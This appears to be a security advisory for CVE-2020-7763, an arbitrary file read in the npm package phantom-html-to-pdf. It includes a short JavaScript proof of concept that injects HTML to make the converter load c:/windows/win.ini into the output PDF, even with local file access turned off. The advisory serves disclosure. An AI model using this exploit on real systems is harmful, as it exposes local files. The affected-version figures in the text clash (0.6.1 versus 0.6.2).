Advisory

GHSA-6h7f-qwqm-35pp

Also known as: CVE-2020-7763, SNYK-JS-PHANTOMHTMLTOPDF-1023598

Summary

Arbitrary File Read in phantom-html-to-pdf

Details

This affects the package phantom-html-to-pdf before 0.6.1.

PoC

var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
    html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
});

Severity

High Basis: The source's own band: HIGH

Dates

Published
2020-11-06 18:06 UTC
Modified
2026-07-08 06:50 UTC

Affected packages and fixes

phantom-html-to-pdf

npm · All systems

Affected

  • introduced 0, fixed 0.6.2 (semver)

Fixed versions

0.6.2

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences